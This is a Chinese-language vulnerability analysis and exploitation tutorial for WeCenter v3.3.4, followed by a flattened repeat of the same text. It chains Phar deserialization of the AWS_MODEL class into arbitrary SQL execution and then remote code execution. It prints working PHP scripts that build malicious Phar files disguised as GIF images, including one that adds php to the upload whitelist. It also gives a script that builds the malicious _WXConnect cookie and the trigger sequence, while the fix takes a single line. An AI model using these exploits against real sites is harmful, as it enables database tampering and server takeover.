某Center v3.3.4 从前台反序列化任意SQL语句执行到前台RCE
字数 1316 2025-08-26 22:11:51

WeCenter v3.3.4 反序列化漏洞分析与利用教学

漏洞概述

WeCenter v3.3.4 存在一个从前台反序列化到任意SQL语句执行,最终可导致前台RCE的漏洞链。该漏洞利用条件较为宽松,默认安装环境下即可利用。

漏洞影响

  • 影响版本:WeCenter v3.3.4
  • 利用条件:
    • 开启注册功能或拥有前台账号
    • 前台账号拥有上传文件权限
    • 默认安装环境下这两个条件均为开启状态

漏洞分析

1. 反序列化漏洞点

漏洞位于 ./system/aws_model.inc.php 文件中的 AWS_MODEL 类:

class AWS_MODEL {
    private $_shutdown_query = array();
    
    public function __destruct() {
        $this->master();
        foreach ($this->_shutdown_query AS $key => $query) {
            $this->query($query);
        }
    }
    
    public function query($sql, $limit = null, $offset = null, $where = null) {
        // 直接执行SQL语句,无过滤
        $result = $this->db()->query($sql);
        return $result;
    }
}

关键点:

  • __destruct() 析构函数会遍历 $_shutdown_query 数组并执行其中的SQL语句
  • query() 方法直接执行SQL语句,无任何过滤
  • $_shutdown_query 是私有变量,可通过反序列化控制

2. 反序列化触发点

由于直接搜索 unserialize() 未找到可控点,转而利用Phar反序列化技术:

  1. 寻找文件操作函数可控参数的点
  2. 最终定位到 models/account.php 中的 associate_remote_avatar() 函数:
public function associate_remote_avatar($uid, $headimgurl) {
    if (!$avatar_stream = file_get_contents($headimgurl)) {
        return false;
    }
    // ...
}
  1. 调用链:
    • app/account/ajax.php 中的 synch_img_action() 调用 associate_remote_avatar()
    • models/openid/weixin/weixin.php 中的 bind_account() 控制 headimgurl 字段
    • app/m/weixin.php 中的 binding_action() 通过Cookie控制 bind_account() 的参数

漏洞利用

1. 任意SQL执行

步骤1:构造恶意Phar文件

<?php
class AWS_MODEL {
    private $_shutdown_query = array();
    public function __construct() {
        $this->_shutdown_query['test'] = 'SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)';
    }
}

$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "123");
$phar->stopBuffering();
rename("2.phar", "shell.gif");

步骤2:上传Phar文件

通过编辑器上传功能上传生成的 shell.gif 文件,记录上传路径。

步骤3:构造恶意Cookie

<?php
$arr = array();
$arr['access_token'] = array('openid' => '1');
$arr['access_user'] = array();
$arr['access_user']['openid'] = 1;
$arr['access_user']['nickname'] = 'naiquan';
$arr['access_user']['headimgurl'] = 'phar://uploads/question/20200107/a3df6f75e11120c22ba0d85519c5d442.gif';
echo json_encode($arr);

将生成的JSON字符串作为 _WXConnect Cookie的值设置。

步骤4:触发漏洞

  1. 访问 app/m/weixin.php/binding_action
  2. 访问 app/account/ajax.php/synch_img_action

2. 升级为RCE

通过修改上传文件后缀白名单实现RCE:

构造修改白名单的Phar文件

<?php
class AWS_MODEL {
    private $_shutdown_query = array();
    public function __construct() {
        $file_exts = "jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php";
        $this->_shutdown_query['test'] = "UPDATE `aws_system_setting` SET `value` = '".serialize($file_exts)."' WHERE (`varname` = 'allowed_upload_types')";
    }
}

$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "123");
$phar->stopBuffering();
rename("2.phar", "shell.gif");

利用流程

  1. 上传上述Phar文件
  2. 按照SQL注入的步骤触发反序列化
  3. 在后台查看确认php后缀已添加
  4. 在前台编辑器中上传php文件实现RCE

漏洞修复

删除 app/account/ajax.php 下名为 synch_img 的action即可修复漏洞。

总结

该漏洞利用链较为复杂,涉及:

  1. 反序列化漏洞点(AWS_MODEL类)
  2. Phar反序列化触发点(文件操作函数)
  3. 调用链分析(从Cookie到SQL执行)
  4. 权限提升(从SQL注入到RCE)

利用时需要注意:

  • 构造Phar文件时的格式要求
  • Cookie的构造和设置
  • 触发顺序(先binding_action后synch_img_action)
WeCenter v3.3.4 反序列化漏洞分析与利用教学 漏洞概述 WeCenter v3.3.4 存在一个从前台反序列化到任意SQL语句执行,最终可导致前台RCE的漏洞链。该漏洞利用条件较为宽松,默认安装环境下即可利用。 漏洞影响 影响版本:WeCenter v3.3.4 利用条件: 开启注册功能或拥有前台账号 前台账号拥有上传文件权限 默认安装环境下这两个条件均为开启状态 漏洞分析 1. 反序列化漏洞点 漏洞位于 ./system/aws_model.inc.php 文件中的 AWS_MODEL 类: 关键点: __destruct() 析构函数会遍历 $_shutdown_query 数组并执行其中的SQL语句 query() 方法直接执行SQL语句,无任何过滤 $_shutdown_query 是私有变量,可通过反序列化控制 2. 反序列化触发点 由于直接搜索 unserialize() 未找到可控点,转而利用Phar反序列化技术: 寻找文件操作函数可控参数的点 最终定位到 models/account.php 中的 associate_remote_avatar() 函数: 调用链: app/account/ajax.php 中的 synch_img_action() 调用 associate_remote_avatar() models/openid/weixin/weixin.php 中的 bind_account() 控制 headimgurl 字段 app/m/weixin.php 中的 binding_action() 通过Cookie控制 bind_account() 的参数 漏洞利用 1. 任意SQL执行 步骤1:构造恶意Phar文件 步骤2:上传Phar文件 通过编辑器上传功能上传生成的 shell.gif 文件,记录上传路径。 步骤3:构造恶意Cookie 将生成的JSON字符串作为 _WXConnect Cookie的值设置。 步骤4:触发漏洞 访问 app/m/weixin.php/binding_action 访问 app/account/ajax.php/synch_img_action 2. 升级为RCE 通过修改上传文件后缀白名单实现RCE: 构造修改白名单的Phar文件 利用流程 上传上述Phar文件 按照SQL注入的步骤触发反序列化 在后台查看确认php后缀已添加 在前台编辑器中上传php文件实现RCE 漏洞修复 删除 app/account/ajax.php 下名为 synch_img 的action即可修复漏洞。 总结 该漏洞利用链较为复杂,涉及: 反序列化漏洞点(AWS_ MODEL类) Phar反序列化触发点(文件操作函数) 调用链分析(从Cookie到SQL执行) 权限提升(从SQL注入到RCE) 利用时需要注意: 构造Phar文件时的格式要求 Cookie的构造和设置 触发顺序(先binding_ action后synch_ img_ action)